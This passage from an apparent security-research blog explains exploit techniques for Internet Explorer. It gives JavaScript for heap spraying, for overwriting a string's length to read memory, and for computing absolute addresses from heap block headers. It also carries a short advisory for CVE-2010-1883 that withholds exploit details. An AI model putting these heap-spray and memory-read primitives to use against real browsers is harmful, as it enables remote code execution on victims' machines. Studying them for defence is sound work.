4. Stack overflow: This is a difficult one, as JavaScript strings are allocated on the heap and not stack. However, note that stack overflow does not mean you absolutely have to overwrite the return address of the current function. Sometimes it is possible to overwrtite some address stored on the stack in between the buffer and the return address of the curent function and in this way leverage the the vulnerability into arbitrary memory address overwrite. If you can accomplish this, see case no. 6.

5. Integer overflow: This vulnerability class can be made to behave as either a) heap overflow (integer calculations are used to calculate the size of the buffer, in this case see case no. 1) or b) Arbitrary memory address overwrite (integer calculations are used to calculate the address of the buffer, in this case see case no. 6)

6. Arbitrary memory address overwrite: Many of the previous vulnerability classes (and many others, such as loop condition bugs) can be leveraged into arbitrary memory address overwrite. This case will be discussed in detail (with example code) in the next section.


Overwriting string length with arbitrary memory address overwrite

Suppose we have a JavaScript method OverwriteOffset(offset) that exploits some vulnerability to overwrite a memory at the address [address of some object]+offset with a large number. If we had a method OverwriteAbsolute(address) that overwrites the address 'address' with a large number, the analysis would be similar. However, since, in general, the first case is more difficult (as we don't know the absolute addresses) it will be discussed here.
The task in question is to use OverwriteOffset(offset) to overwrite the length of some string. However lets allso suppose that we don't know (and can't guess) the address (nor the offset) of any string.
In order to make things more predictable we will use heap spraying. So, suppose we made a heap spray that is stored in an array 'spray'. Each element of the array is a string with approximately 1MB size. Each such string will be allocated in a separate memory block of size 0x100000. We can use the following code to accomplish this.


spray = new Array(200);
var pattern = unescape("%uAAAA%uAAAA");
while(pattern.length<(0x100000/2)) pattern+=pattern;
pattern = pattern.substr(0,0x100000/2-0x100);
for(var i=0;i<200;i++) {
spray[i] = [inttostr(i)+pattern].join("");
}


The inttostr function used above converts an integer into four-byte string. This way, each string will contain its index in the first two characters. We'll come back to why I did this later.
With a heap spray as above we'll have a large probability that offset+0x100000*100 will fall somewhere in the spray. We don't know exactly where this address falls in our heap spray, however once we do the overwrite we can easily determine that as follows:

1. Overwrite a memory location somewhere in the sprayed part of the memory
2. Find out which sting we overwrote by comparing each string with its neighbor
3. Find out which characters in the string we overwrote by comparing string parts with what they originally contained. Use binary search and substr methods to speed up the process.
4. We can now calculate the offset of the string length. Overwrite the string length.

In JavaScript code, this would look like


var i;

//overwrite something in the heap spray
OverwriteOffset(0x100000*100);

//now find what and where exectly did we overwrite
readindex = -1;
for(i=1;i<200;i++) {
if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2)) {
readindex = i;
break;
}
}

if(readindex == -1) {
alert("Error overwriring first spray");
return 0;
}

//use binary search to find out the index of the character we overwrote
var start=2,len=spray[readindex].length-2,mid;
while(len>10) {
mid = Math.round(len/2);
mid = mid - mid%2;
if(spray[readindex].substr(start,mid) != spray[readindex-1].substr(start,mid)) {
len = mid;
} else {
start = start+mid;
len = len-mid;
}
}
for(i=start;i<(start+20);i=i+2) {
if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {
break;
}
}

//calculate the offset of the string length in memory
lengthoffset = 0x100000*100-i/2-1;
OverwriteOffset(lengthoffset);

//check if overwrite was successful
if(spray[readindex].length == spray[0].length) alert("error overwriting string length");




That's it, we can now read memory past the end of the string. For example, we could use the following function to read a DWORD at address [address of string]+offset


function ReadMem(offset) {
return strtoint(spray[readindex].substr(offset/2,2));
}


However, we would also like to determine the absolute address of the string, so instead of ofsets, we can provide absolute adresses to our ReadMem function. This will be discussed in the next section.


Determining the absolute address of the string

To determine the absolute address of the string we'll exploit the fact that each string in our heap spray is allocated in a separate memory block. We also know the size of such memory blocks (0x100000) and can assume that the next memory block comes immediately after the current one in memory.
Each memory block starts with a header. This header, among other things contains the address of the previous and the next memory block. So, memory block looks like:



[address of the next memory block][address of the previous memory block][24 bytes of some other header data][data]



So if we assume that the strings are placed in blocks in the following order


[block containing string 1][block containing string 2][block containing string 3] ...



we can determine the absolute address of the string in the following way, by reading the previous block pointer of the block that immediately follows the one that holds the ovrwritten string


readaddr = ReadMem(0x100000-0x20)+0x24;


This technique relies on the correct order of memory blocks. This order will usually be correct if the exploit is launched in a 'clean' Internte Explorer process (for example, if the exploit is opened in a new browser tab or window). However, in general, this does not have to be the case, so the memory could look like, for example


[block containing string 5][block containing string 7][block containing string 1] ...



However, although the order of blocks in memory may appear scrambled, the next block pointer of block containing string n will still point to the block containing string n+1. Similarly, the previous block pointer of block containing string n will still point to the block containing string n-1. Now remember that we made our heap spray so that each string contains its index in the first two characters. We can exploit this information to determine the correct absolute string address as follows:


var indexarray = new Array();
var tmpaddr = 0;
var i,index;

index = ReadMem(tmpaddr);
indexarray.push(index);

while(1) {
tmpaddr += 0x100000;
index = readmem(tmpaddr);
for(i=0;i<indexarray.length;i++) {
if(indexarray[i]==index+1) {
readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;
return 1;
} else if(indexarray[i]==index-1) {
readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;
return 1;
}
}
indexarray.push(index);
}



Finally, we can construct a function ReadMemAbsolute that reads content of a memory at absolute address as


function ReadMemAbsolute(address) {
return ReadMem(readaddr-address);
}


Helper string/integer conversion functions used throughout the code are given below.


function strtoint(str) {
return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

function inttostr(num) {
return String.fromCharCode(num%65536,Math.floor(num/65536));
}

Wednesday, October 13, 2010

Embedded Open Type (EOT) fonts remote code execution

There is a vulnerability in Microsoft Windows caused by incorrect processing of malformed Embedded Open Type (EOT) fonts. This vulnerability can be used to achieve remote code execution if a user views a web page containing a reference to a specially crafted font file.

EOT fonts

From Microsoft: Embedded OpenType (EOT) fonts are a compact form of fonts designed for use on Web pages. These fonts can be embedded in a document. This ensures that a user views the document exactly as the author intended.

Background

Eot format is basically a compressed true type font (TTF) file. The TTF file itself can be viewed as a collection of tables. The compression process first transforms some font tables into a different format, divides the file into chunks and than uses a variant of LZ compression to compress each chunk separately. Such obtained compressed data is added to the EOT header to form a .eot file.The decompression process first analyzes the eot header, splits the font data into chunks, decompresses each chunk and transforms some of the tables back into ttf format.More on the EOT format and the compression/decompression process can be found at the following links:

http://www.w3.org/Submission/EOT/
http://www.w3.org/Submission/2008/SUBM-MTX-20080305/

The vulnerability

The vulnerability is an integer overflow that can occur during the conversion of hdmx table from MicroType (compressed format used by EOT) back to the TrueType format. By exploiting this integer overflow the attacker can write arbitrary data to a memory location b+x, where b is the buffer location and x is (almost arbitrary) 32-bit number controlled by the attacker.

Impact

This vulnerability can be used to achieve remote code execution if a user views a web page containing a reference to a specially crafted font file.

PoC

Due to the spread and the impact of the vulnerability, exploiting details will not be released at this time.

References

http://www.microsoft.com/technet/security/bulletin/MS10-076.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1883